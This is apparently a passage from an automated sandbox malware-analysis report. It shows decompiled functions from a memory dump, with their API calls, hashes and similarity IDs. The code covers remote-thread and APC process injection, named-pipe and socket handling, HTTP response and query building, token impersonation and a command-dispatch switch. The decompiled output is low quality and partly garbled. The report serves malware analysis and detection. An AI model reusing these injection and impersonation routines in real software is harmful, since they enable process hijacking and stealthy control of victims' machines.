						_t18 = CreateThread(0, 0, _t17, _a16, 4, 0);
						L6:
						_t33 = _t18;
						if(_t33 == 0) {
							L9:
							_t19 = 0;
							L11:
							return _t19;
						}
						_v720.ContextFlags = 0x10007;
						if(GetThreadContext(_t33,  &_v720) == 0) {
							goto L9;
						}
						_v720.Eax = _a12;
						if(SetThreadContext(_t33,  &_v720) != 0) {
							_t19 = 0 | ResumeThread(_t33) != 0xffffffff;
							goto L11;
						}
						goto L9;
					}
					if(_t28 != 1) {
						goto L9;
					}
					_t18 = CreateRemoteThread(_a8, 0, 0, _t17, _a16, 4, 0);
					goto L6;
				}
				return 0;
			}

0x00864fb8
0x00864fc2
0x00864fce
0x00864fd1
0x00864fd5
0x00864ff7
0x00864ffd
0x00864ffd
0x00865001
0x0086503a
0x0086503a
0x0086504f
0x00000000
0x0086504f
0x0086500b
0x0086501d
0x00000000
0x00000000
0x00865022
0x00865038
0x0086504d
0x00000000
0x0086504d
0x00000000
0x00865038
0x00864fd8
0x00000000
0x00000000
0x00864fe6
0x00000000
0x00864fe6
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000000), ref: 00864FB1
GetProcAddress.KERNEL32(00000000), ref: 00864FB8
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 00864FE6
GetThreadContext.KERNEL32(00000000,?), ref: 00865015
SetThreadContext.KERNEL32(00000000,00010007), ref: 00865030

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Thread$Context$AddressCreateHandleModuleProcRemote
String ID:
API String ID: 1591005814-0
Opcode ID: 376d14ca070ddc989c45658c1bac4e5eb15e8ee91d5833c10a51edaa3f77b23f
Instruction ID: b9d81725bb53ebe6cb4f00dfd1eb0d788def9856086e70b7e751a84ae0c61ec9
Opcode Fuzzy Hash: 376d14ca070ddc989c45658c1bac4e5eb15e8ee91d5833c10a51edaa3f77b23f
Instruction Fuzzy Hash: C4118C3110582ABBDB215F29EC4CEAF3FBCFF44798F210154FA0AD2190DA30C9519BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0086589D, Relevance: 10.6, APIs: 7, Instructions: 62
pipefileCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E0086589D(signed int __eax, void** __ebx, void* __ecx, CHAR* _a4) {
				signed int _v8;
				long _v12;
				signed int _t8;
				void* _t9;
				void* _t11;
				void** _t20;

				_t20 = __ebx;
				_t8 = __eax | 0x00100000;
				_push(0);
				_push(_t8);
				_push(3);
				_push(0);
				_v8 = _t8;
				_push(0);
				while(1) {
					_t9 = CreateFileA(_a4, 0xc0000000, ??, ??, ??, ??, ??);
					 *_t20 = _t9;
					if(_t9 != 0xffffffff) {
						break;
					}
					if(GetLastError() != 0xe7) {
						L9:
						_t11 = 0;
					} else {
						if(WaitNamedPipeA(_a4, 0x2710) == 0) {
							SetLastError(0x102);
							goto L9;
						} else {
							_push(0);
							_push(_v8);
							_push(3);
							_push(0);
							_push(0);
							continue;
						}
					}
					L10:
					return _t11;
				}
				_v12 = 0;
				if(SetNamedPipeHandleState( *_t20,  &_v12, 0, 0) != 0) {
					_t11 = 1;
				} else {
					DisconnectNamedPipe( *_t20);
					CloseHandle( *_t20);
					goto L9;
				}
				goto L10;
			}

0x0086589d
0x008658aa
0x008658b1
0x008658b2
0x008658b3
0x008658b5
0x008658b6
0x008658b9
0x008658ea
0x008658ee
0x008658f0
0x008658f5
0x00000000
0x00000000
0x008658cc
0x00865930
0x00865930
0x008658ce
0x008658de
0x0086592a
0x00000000
0x008658e0
0x008658e2
0x008658e3
0x008658e6
0x008658e8
0x008658e9
0x00000000
0x008658e9
0x008658de
0x00865932
0x00865935
0x00865935
0x008658fb
0x0086590c
0x00865922
0x0086590e
0x00865910
0x00865918
0x00000000
0x00865918
0x00000000

APIs

GetLastError.KERNEL32(?,00000000,?,?,?,0086597F,00865A94,00000000,?,00865A94,?), ref: 008658C1
WaitNamedPipeA.KERNEL32 ref: 008658D6
CreateFileA.KERNEL32(00865A94,C0000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?,?,?,0086597F,00865A94,00000000), ref: 008658EE
SetNamedPipeHandleState.KERNEL32(?,00865A94,00000000,00000000,?,00000000,?,?,?,0086597F,00865A94,00000000,?,00865A94,?), ref: 00865904
DisconnectNamedPipe.KERNEL32(?,?,00000000,?,?,?,0086597F,00865A94,00000000,?,00865A94,?), ref: 00865910
CloseHandle.KERNEL32(?,?,00000000,?,?,?,0086597F,00865A94,00000000,?,00865A94,?), ref: 00865918

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: NamedPipe$Handle$CloseCreateDisconnectErrorFileLastStateWait
String ID:
API String ID: 2500665662-0
Opcode ID: 4cd5717ed0be4a76ceadd211edd6ba1349ea64dad58dd90e339abe766422c39f
Instruction ID: 007419385b36dae8b91910fb72642cd56b24997174320c4fb513c81995559151
Opcode Fuzzy Hash: 4cd5717ed0be4a76ceadd211edd6ba1349ea64dad58dd90e339abe766422c39f
Instruction Fuzzy Hash: 081105B2628514FFEB055B68EC4AF7B3EBDFB05710F214565F906E60A0E6B09E009B61

Uniqueness

Uniqueness Score: -1.00%

Function 008661F3, Relevance: 10.6, APIs: 7, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E008661F3(void* __ecx, intOrPtr _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				long _t17;
				long _t20;
				signed int _t21;
				void* _t23;
				signed int _t26;
				intOrPtr* _t28;
				void* _t36;

				_t17 = GetTickCount();
				_t28 = __imp__#10;
				_t36 = _t17 + _a8;
				_a8 = _a8 & 0x00000000;
				_push( &_v12);
				_push(0x8004667e);
				_push(_a4);
				_v12 = 1;
				if( *_t28() != 0xffffffff) {
					while(1) {
						_t20 = GetTickCount();
						__eflags = _t20 - _t36;
						if(_t20 >= _t36) {
							break;
						}
						_t21 =  &_v5;
						__imp__#16(_a4, _t21, 1, 2);
						__eflags = _t21;
						if(__eflags == 0) {
							L9:
							_t10 =  &_a8;
							 *_t10 = _a8 & 0x00000000;
							__eflags =  *_t10;
						} else {
							if(__eflags > 0) {
								_a8 = 1;
							} else {
								__imp__#111();
								__eflags = _t21 - 0x2733;
								if(_t21 != 0x2733) {
									goto L9;
								} else {
									Sleep(0xa);
									continue;
								}
							}
						}
						L10:
						_v12 = _v12 & 0x00000000;
						_t23 =  *_t28(_a4, 0x8004667e,  &_v12);
						asm("sbb eax, eax");
						_t26 =  ~(_t23 + 1) & _a8;
						__eflags = _t26;
						goto L11;
					}
					goto L10;
				} else {
					_t26 = 0;
				}
				L11:
				return _t26;
			}

0x00866201
0x00866203
0x0086620b
0x0086620e
0x00866215
0x00866216
0x0086621b
0x0086621e
0x0086622a
0x0086625c
0x0086625c
0x0086625e
0x00866260
0x00000000
0x00000000
0x00866234
0x0086623b
0x00866241
0x00866243
0x0086626d
0x0086626d
0x0086626d
0x0086626d
0x00866245
0x00866245
0x00866264
0x00866247
0x00866247
0x0086624d
0x00866252
0x00000000
0x00866254
0x00866256
0x00000000
0x00866256
0x00866252
0x00866245
0x00866271
0x00866271
0x00866281
0x00866286
0x00866288
0x00866288
0x00000000
0x00866288
0x00000000
0x0086622c
0x0086622c
0x0086622c
0x0086628b
0x0086628f

APIs

GetTickCount.KERNEL32 ref: 00866201
ioctlsocket.WS2_32(?,8004667E,?), ref: 00866225
GetTickCount.KERNEL32 ref: 0086625C
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 00866281

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTickioctlsocket
String ID:
API String ID: 3686034022-0
Opcode ID: f3913324ed96335cdcabdfe8b0f6ac61406b988902a79c4723f1c51056c9b812
Instruction ID: 36c4d0ad88d911216db93a74354fac461628f1f01651918bad8e986fd14f4fa9
Opcode Fuzzy Hash: f3913324ed96335cdcabdfe8b0f6ac61406b988902a79c4723f1c51056c9b812
Instruction Fuzzy Hash: F3118C3551420CBBEB108FA4CC58BE87BB8FB0036AF218024F915E6190E774D9948B60

Uniqueness

Uniqueness Score: -1.00%

Function 0086ADFF, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086ADFF(intOrPtr __ebx, void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				intOrPtr _t15;
				intOrPtr* _t17;
				intOrPtr _t21;
				void* _t23;
				void* _t25;
				intOrPtr _t26;
				void* _t27;
				intOrPtr* _t29;

				_t21 = __ebx;
				_t29 = E00874855(__ebx, _t25, _t27, 0x18);
				 *_t29 = _a4;
				 *((intOrPtr*)(_t29 + 0xc)) = E00874855(__ebx, _t25, _t27, __ebx);
				E0087B0A0(__ebx, _t27, _t29, _t13, _a8, __ebx);
				 *((intOrPtr*)(_t29 + 4)) = _t21;
				_t15 = E00874855(_t21, _t25, 0x100, 0x100);
				_a4 = _t15;
				 *((intOrPtr*)(_t29 + 0x10)) = _t15;
				E008749A6(0x100, _t29, _t15, 0x100, "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n\r\n", _t21);
				_t17 = _a4;
				_t8 = _t17 + 1; // 0x1
				_t23 = _t8;
				do {
					_t26 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t26 != 0);
				 *((intOrPtr*)(_t29 + 8)) = _t17 - _t23;
				 *((intOrPtr*)(_t29 + 0x14)) = E00874855(_t21, _t26, 0x100, 0x800);
				return _t29;
			}

0x0086adff
0x0086ae0b
0x0086ae11
0x0086ae1c
0x0086ae20
0x0086ae2b
0x0086ae2e
0x0086ae3b
0x0086ae3e
0x0086ae41
0x0086ae46
0x0086ae4c
0x0086ae4c
0x0086ae4f
0x0086ae4f
0x0086ae51
0x0086ae52
0x0086ae5d
0x0086ae66
0x0086ae6e

APIs

_malloc.LIBCMT ref: 0086AE06

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

_malloc.LIBCMT ref: 0086AE13
_malloc.LIBCMT ref: 0086AE2E
__snprintf.LIBCMT ref: 0086AE41
_malloc.LIBCMT ref: 0086AE60

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 0086AE34

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _malloc$AllocateHeap__snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3929630252-2739389480
Opcode ID: e17ce10bcd0f2cb92c691d2871b31304195bc1d4d735e636f952d574f8954b7d
Instruction ID: 0a9faa3cd1db6cb8bb705253704a19eecd0d7626fec99c783d4df1e76b7c1502
Opcode Fuzzy Hash: e17ce10bcd0f2cb92c691d2871b31304195bc1d4d735e636f952d574f8954b7d
Instruction Fuzzy Hash: C2014B70A00308AFD710EF7D9849A57BBECFF44750B00893DB59CC7605EA75E9048B92

Uniqueness

Uniqueness Score: -1.00%

Function 00401BF0, Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401BF0(intOrPtr* _a4) {
				intOrPtr _v16;
				intOrPtr _v40;
				intOrPtr* _t20;
				intOrPtr _t21;
				void* _t23;
				intOrPtr* _t24;

				_t24 = _t23 - 0x24;
				_t20 = _a4;
				_t12 =  *((intOrPtr*)( *_t20));
				if(_t12 > 0xc0000091) {
					if(_t12 == 0xc0000094) {
						_t21 = 0;
						goto L3;
					} else {
						if(_t12 == 0xc0000096) {
							goto L14;
						} else {
							if(_t12 == 0xc0000093) {
								goto L2;
							} else {
								goto L10;
							}
							goto L6;
						}
					}
				} else {
					if(_t12 < 0xc000008d) {
						if(_t12 == 0xc0000005) {
							_v40 = 0;
							 *_t24 = 0xb;
							L00402C88();
							if(_t12 == 1) {
								_v40 = 1;
								 *_t24 = 0xb;
								L00402C88();
								_t13 = 0xffffffff;
								goto L6;
							} else {
								if(_t12 == 0) {
									goto L10;
								} else {
									 *_t24 = 0xb;
									 *_t12();
									return 0xffffffff;
								}
							}
						} else {
							if(_t12 != 0xc000001d) {
								goto L10;
							} else {
								L14:
								_v40 = 0;
								 *_t24 = 4;
								L00402C88();
								if(_t12 == 1) {
									_v40 = 1;
									 *_t24 = 4;
									L00402C88();
									_t13 = 0xffffffff;
									goto L6;
								} else {
									if(_t12 == 0) {
										goto L10;
									} else {
										 *_t24 = 4;
										 *_t12();
										return 0xffffffff;
									}
								}
							}
						}
					} else {
						L2:
						_t21 = 1;
						L3:
						_v40 = 0;
						 *_t24 = 8;
						L00402C88();
						if(_t12 == 1) {
							_v40 = 1;
							 *_t24 = 8;
							L00402C88();
							_t13 = 0xffffffff;
							if(_t21 != 0) {
								_v16 = 0xffffffff;
								E00402760(0xffffffff);
								_t13 = _v16;
							}
						} else {
							if(_t12 == 0) {
								L10:
								_t12 =  *0x447048;
								if( *0x447048 != 0) {
									_a4 = _t20;
									_t24 = _t24 + 0x24;
									_pop(_t20);
									goto __eax;
								}
								_t13 = 0;
							} else {
								 *_t24 = 8;
								 *_t12();
								_t13 = 0xffffffff;
							}
						}
						L6:
						return _t13;
					}
				}
			}

0x00401bf2
0x00401bf5
0x00401bfb
0x00401c02
0x00401c4c
0x00401cb5
0x00000000
0x00401c4e
0x00401c53
0x00000000
0x00401c55
0x00401c5a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c5a
0x00401c53
0x00401c04
0x00401c09
0x00401c79
0x00401cc0
0x00401cc8
0x00401ccf
0x00401cd7
0x00401d15
0x00401d1d
0x00401d24
0x00401d29
0x00000000
0x00401cd9
0x00401cdb
0x00000000
0x00401ce1
0x00401ce1
0x00401ce8
0x00401cf4
0x00401cf4
0x00401cdb
0x00401c7b
0x00401c80
0x00000000
0x00401c82
0x00401c82
0x00401c82
0x00401c8a
0x00401c91
0x00401c99
0x00401cf7
0x00401cff
0x00401d06
0x00401d0b
0x00000000
0x00401c9b
0x00401c9d
0x00000000
0x00401c9f
0x00401c9f
0x00401ca6
0x00401cb2
0x00401cb2
0x00401c9d
0x00401c99
0x00401c80
0x00401c0b
0x00401c0b
0x00401c0b
0x00401c10
0x00401c10
0x00401c18
0x00401c1f
0x00401c27
0x00401d40
0x00401d48
0x00401d4f
0x00401d56
0x00401d5b
0x00401d61
0x00401d65
0x00401d6a
0x00401d6a
0x00401c2d
0x00401c2f
0x00401c5c
0x00401c5c
0x00401c63
0x00401c69
0x00401c6d
0x00401c70
0x00401c72
0x00401c72
0x00401d33
0x00401c31
0x00401c31
0x00401c38
0x00401c3a
0x00401c3a
0x00401c2f
0x00401c3f
0x00401c44
0x00401c44
0x00401c09

APIs

signal.MSVCRT ref: 00401C1F
signal.MSVCRT ref: 00401C91
signal.MSVCRT ref: 00401D4F

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 223b2113a1fa3cc4d2007d78784d704dad6facb6962137ef6671c1eb5a3dd21e
Instruction ID: c016a7a92df8ea697f59bf72210fc6b73e9c9fb19ade71a857c30f1c9155e055
Opcode Fuzzy Hash: 223b2113a1fa3cc4d2007d78784d704dad6facb6962137ef6671c1eb5a3dd21e
Instruction Fuzzy Hash: E3312CB054C2014BF7206B69858435B76D0AB45328F154B2FE8A5EB3E0C7BDC8C5979B

Uniqueness

Uniqueness Score: -1.00%

Function 00867993, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00867993(intOrPtr __esi, void* __eflags) {
				void* __edi;
				void* _t162;
				intOrPtr _t178;
				intOrPtr _t187;
				void* _t191;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t196;

				L0:
				while(1) {
					_t196 = __eflags;
					E0087C290(0x400, _t192 + 0x34, 0, 0x400);
					E008668FB(_t192 + 0x44, _t196, _t192 + 0x2c, 0x400);
					_t178 =  *((intOrPtr*)(_t191 + 0xc));
					_t161 =  *((intOrPtr*)(_t178 + 4));
					_t193 = _t192 + 0x14;
					_push( *((intOrPtr*)(_t178 + 0x18)));
					if( *((char*)( *((intOrPtr*)(_t178 + 4)))) != 0) {
						goto L20;
					}
					L18:
					_push(__esp + 0x34);
					_push("?%s=%s");
					L19:
					_push(__edi);
					_push( *((intOrPtr*)(__ebx + 0x1c)));
					E008749A6(__edi, __esi);
					__esp = __esp + 0x14;
					while(1) {
						L21:
						_t187 =  *((intOrPtr*)(_t178 + 4));
						while(1) {
							L48:
							_t190 =  *((intOrPtr*)(_t178 + 0x1c));
							L49:
							asm("sbb al, 0xb9");
						}
					}
					L20:
					_push(_t193 + 0x34);
					_t162 = E008749A6(0x400, __esi,  *((intOrPtr*)(_t178 + 0x1c)), 0x400, "%s&%s=%s", _t161);
					_t194 = _t193 + 0x18;
					L21:
					_t187 =  *((intOrPtr*)(_t178 + 4));
					while(1) {
						L48:
						_t190 =  *((intOrPtr*)(_t178 + 0x1c));
						goto L49;
					}
				}
			}

0x00867993
0x00867993
0x00867993
0x0086799b
0x008679aa
0x008679af
0x008679b2
0x008679b5
0x008679bb
0x008679be
0x00000000
0x00000000
0x008679c0
0x008679c4
0x008679c5
0x008679ca
0x008679ca
0x008679cb
0x008679ce
0x008679d3
0x008679ef
0x008679ef
0x008679ef
0x00867c26
0x00867c26
0x00867c26
0x00867c28
0x00867c28
0x00867c28
0x00867c26
0x008679d8
0x008679dc
0x008679e7
0x008679ec
0x008679ef
0x008679ef
0x00867c26
0x00867c26
0x00867c26
0x00000000
0x00867c26
0x00867c26

APIs

_memset.LIBCMT ref: 0086799B
__snprintf.LIBCMT ref: 008679CE
__snprintf.LIBCMT ref: 008679E7

Strings

?%s=%s, xrefs: 008679C5
%s&%s=%s, xrefs: 008679DE

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf$_memset
String ID: %s&%s=%s$?%s=%s
API String ID: 444161222-3403399194
Opcode ID: defc795b5c0a2078a33d771f15c867bc4da7a9f1de543df6ed4d6d5c38024158
Instruction ID: e682e930d8b70aa11118c83284ea48e094007dfe5c632e22e915aecd8eebaed4
Opcode Fuzzy Hash: defc795b5c0a2078a33d771f15c867bc4da7a9f1de543df6ed4d6d5c38024158
Instruction Fuzzy Hash: CA01D1B2504204ABDB10EE14CD82E573BA8FF85714F428069FA459B15BE235EE11C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00864F1A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderthreadCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00864F1A(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				_Unknown_base(*)()* _t8;

				_t8 = GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread");
				if(_t8 != 0) {
					_push(0);
					_push(0);
					_push(_a8);
					_push(_a4);
					_push( *(__esi + 4));
					if( *_t8() != 0) {
						goto L1;
					} else {
						return 0 | ResumeThread( *(__esi + 4)) != 0xffffffff;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00864f2e
0x00864f36
0x00864f3c
0x00864f3e
0x00864f40
0x00864f43
0x00864f46
0x00864f4d
0x00000000
0x00864f4f
0x00864f63
0x00864f63
0x00864f38
0x00864f38
0x00864f3b
0x00864f3b

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQueueApcThread,?,00864AFA,00000000,00864D09,?,?,?,?,?,?,?,?,?,00000000), ref: 00864F27
GetProcAddress.KERNEL32(00000000), ref: 00864F2E
ResumeThread.KERNEL32(?,?,00864AFA,00000000,00864D09,?,?,?,?,?,?,?,?,?,00000000,00864D09), ref: 00864F52

Strings

ntdll, xrefs: 00864F22
NtQueueApcThread, xrefs: 00864F1D

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProcResumeThread
String ID: NtQueueApcThread$ntdll
API String ID: 682313787-1374908105
Opcode ID: 1bcdf1ea8c331347b1e860cdc6b29d5170a73f59c19d78fda4c4b819537f8492
Instruction ID: ddfac3b757561befd52106fc9b4ab449ca82547bc8df85355c9c21776a471670
Opcode Fuzzy Hash: 1bcdf1ea8c331347b1e860cdc6b29d5170a73f59c19d78fda4c4b819537f8492
Instruction Fuzzy Hash: AFE01A362987097BEF211FF8AD0AB5A3BA9FF24B61F104524F529D45E0EB72E4109B44

Uniqueness

Uniqueness Score: -1.00%

Function 00867E9E, Relevance: 7.9, APIs: 5, Instructions: 360
threadCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00867E9E(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				void* _v16;
				signed int _v20;
				char _v32;
				signed short _v34;
				signed short _v36;
				char _v516;
				char _v1060;
				char _v2051;
				char _v2052;
				void* _t63;

				_t63 = __eax - 1;
				if(_t63 > 0x65) {
					L158:
					return _t63;
				} else {
					switch( *((intOrPtr*)(__eax * 4 +  &M008681FA))) {
						case 0:
							__ebx = 0;
							__ebx = 1;
							__eflags = 1;
							_push(1);
							goto L64;
						case 1:
							goto L158;
						case 2:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__eax = 0;
							__eflags = 0;
							 *0x8931a4 = 0;
							return E008612CF(__ebx, 0, 0, 0x1a);
							goto L170;
						case 3:
							__eax = E008626E4(__ecx, __esi);
							goto L69;
						case 4:
							__eax = E0086268A(__esi, __ecx);
							goto L70;
						case 5:
							_push(1);
							goto L66;
						case 6:
							_push("wb");
							goto L73;
						case 7:
							__eax = E00863AD8(__edx, __eflags, __ecx, __esi);
							goto L69;
						case 8:
							__eax = E00862733(__esi, __eflags, __ecx);
							goto L70;
						case 9:
							_push(1);
							goto L77;
						case 0xa:
							__eax = __esi;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__ebp);
							__ebp = __esp;
							__esp = __esp - 0x424;
							_push(__ebx);
							_push(__esi);
							_push(__edi);
							__esi = __ecx;
							__edi = __eax;
							__eax =  *__esi;
							__ebx = 0;
							__ebx = 1;
							_push(__eax);
							_v12 = 1;
							__esi = __esi + 4;
							_v8 = __eax;
							L008832F2();
							_v16 = __eax;
							__eax =  *__esi & 0x0000ffff;
							__esi = __esi + 1;
							_push(__eax);
							__esi = __esi + 1;
							__edi = __edi - 6;
							L00883316();
							__eax = __ax & 0x0000ffff;
							_v20 = __ax & 0x0000ffff;
							__eax = 0x3ff;
							__eflags = __edi - 0x3ff;
							if(__edi >= 0x3ff) {
								__edi = 0x3ff;
							}
							 &_v1060 = E0087B0A0(__ebx, __edi, __esi,  &_v1060, __esi, __edi);
							 *((char*)(__ebp + __edi - 0x420)) = 0;
							__eax = E008625A5();
							_push(0);
							_push(__ebx);
							_push(2);
							L0088330A();
							__esi = __eax;
							__edi = __edi | 0xffffffff;
							__eflags = __esi - __edi;
							if(__esi != __edi) {
								__eax =  &_v1060;
								_push(__eax);
								L008832F8();
								__eflags = __eax;
								if(__eax != 0) {
									__ecx =  *((short*)(__eax + 0xa));
									 &_v32 = E0087B0A0(__ebx, __edi, __esi,  &_v32, _v32, __ecx);
									_push(2);
									_pop(__eax);
									_push(_v20);
									_v36 = __ax;
									L008832EC();
									_v34 = __ax;
									__eax =  &_v12;
									_push(__eax);
									_push(0x8004667e);
									_push(__esi);
									__imp__#10();
									__eflags = __eax - __edi;
									if(__eax == __edi) {
										goto L48;
									} else {
										_push(0x10);
										__eax =  &_v36;
										_push(__eax);
										_push(__esi);
										L00883310();
										__eflags = __eax - __edi;
										if(__eax != __edi) {
											L52:
											__ebx = _v16;
											__eax = E00866A2E(__esi);
										} else {
											__imp__#111();
											__eflags = __eax - 0x2733;
											if(__eax != 0x2733) {
												goto L48;
											} else {
												goto L52;
											}
										}
									}
								} else {
									L48:
									_push(__esi);
									goto L46;
								}
							} else {
								_push(__edi);
								L46:
								L00883304();
								__eax =  &_v8;
								__eax = E008612CF(__ebx,  &_v8, 4, 4);
							}
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
							goto L170;
						case 0xb:
							__ecx = E00866CFC(__ecx, __esi);
							goto L70;
						case 0xc:
							__eax = __ecx;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__esi);
							_push( *__eax);
							__esi =  *0x897e50;
							L008832F2();
							while(1) {
								__eflags = __esi;
								if(__esi == 0) {
									break;
								}
								__eflags =  *(__esi + 4);
								if( *(__esi + 4) != 0) {
									__eflags = __eax -  *__esi;
									if(__eax ==  *__esi) {
										__eflags =  *((intOrPtr*)(__esi + 0x10)) - 2;
										if( *((intOrPtr*)(__esi + 0x10)) != 2) {
											_t53 = __esi + 4;
											 *_t53 =  *(__esi + 4) & 0x00000000;
											__eflags =  *_t53;
										}
									}
								}
								__esi =  *(__esi + 0x20);
							}
							_pop(__esi);
							return __eax;
							goto L170;
						case 0xd:
							__eax = E00866ACD(__eflags, __ecx);
							goto L70;
						case 0xe:
							_push(1);
							goto L83;
						case 0xf:
							__eax = __ecx;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__esi);
							__esi =  *0x897610;
							_push(__edi);
							_push( *__eax);
							L008832F2();
							__edi = __eax;
							while(1) {
								__eflags = __esi;
								if(__esi == 0) {
									break;
								}
								__eflags =  *__esi - __edi;
								if( *__esi == __edi) {
									_push( *((intOrPtr*)(__esi + 8)));
									_t17 = __esi + 4;
									 *_t17 =  *(__esi + 4) & 0x00000000;
									__eflags =  *_t17;
									__eax = E0087555A(__ebx, __edx, __edi, __esi,  *_t17);
									_pop(__ecx);
								}
								__esi =  *(__esi + 0xc);
							}
							_pop(__edi);
							_pop(__esi);
							return __eax;
							goto L170;
						case 0x10:
							__eax = E00865D11(__ebx, __edi, __ecx, __esi);
							goto L69;
						case 0x11:
							__eax = __ecx;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push( *__eax);
							__al = __al ^ __ch;
							asm("pushfd");
							asm("aam 0x1");
							 *((intOrPtr*)(__eax - 0x18)) =  *((intOrPtr*)(__eax - 0x18)) + __dl;
							 *__eax =  *__eax + __al;
							__eflags =  *__eax;
							_pop(__ecx);
							return __eax;
							goto L170;
						case 0x12:
							__eax = __ecx;
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push( *__eax);
							__al = __al ^ __ch;
							asm("sbb edx, esi");
							 *__eax = __eax +  *__eax;
							__edx = 0;
							__eflags = 0;
							__ecx = 0x897630;
							do {
								__eflags =  *((intOrPtr*)(__ecx + 0x24)) - 1;
								if( *((intOrPtr*)(__ecx + 0x24)) != 1) {
									goto L37;
								} else {
									__eflags =  *__ecx - __eax;
									if( *__ecx == __eax) {
										__eflags = __edx * 0x34;
										return __eax;
									} else {
										goto L37;
									}
								}
								goto L170;
								L37:
								__ecx = __ecx + 0x34;
								__edx = __edx + 1;
								__eflags = __ecx - 0x897e50;
							} while (__ecx < 0x897e50);
							return __eax;
							goto L170;
						case 0x13:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							_push(__ebp);
							__ebp = __esp;
							_push(__ecx);
							_push(__ecx);
							__eax =  &_v8;
							__eax = GetCurrentThread();
							__eflags = __eax;
							if(__eflags != 0) {
								L166:
								__eax = E0086A946(__ebx, __edi, __esi, __eflags, _v8);
								__eax = CloseHandle(_v8);
								__esp = __ebp;
								_pop(__ebp);
								return __eax;
							} else {
								__eax =  &_v8;
								__eax = GetCurrentProcess();
								__eax = OpenProcessToken(__eax, 8,  &_v8);
								__eflags = __eax;
								if(__eflags == 0) {
									__eflags =  *0x897e90;
									if( *0x897e90 == 0) {
										__eax = E00861EF5(1);
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									} else {
										__eax = E0086A946(0, __edi, __esi, __eflags,  *0x897e90);
										__eax = E0086A826();
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									}
								} else {
									goto L166;
								}
							}
							goto L170;
						case 0x14:
							_pop(__edi);
							_pop(__esi);
							_pop(__ebx);
							__eax =  *0x897e90;
							__eflags = __eax;
							if(__eax != 0) {
								__eax = CloseHandle(__eax);
							}
							 *0x897e90 =  *0x897e90 & 0x00000000;
							_push(__esi);
							__eax = RevertToSelf();
							__esi =  *0x897ea0;
							__eflags = __esi;
							if(__eflags != 0) {
								_push(__edi);
								__eax = E008667A9(__ebx, __edi, __esi, __eflags);
								__eax = 0;
								__eflags = 0;
								__edi = 0x897e94;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_pop(__edi);
							}
							_pop(__esi);
							return __eax;
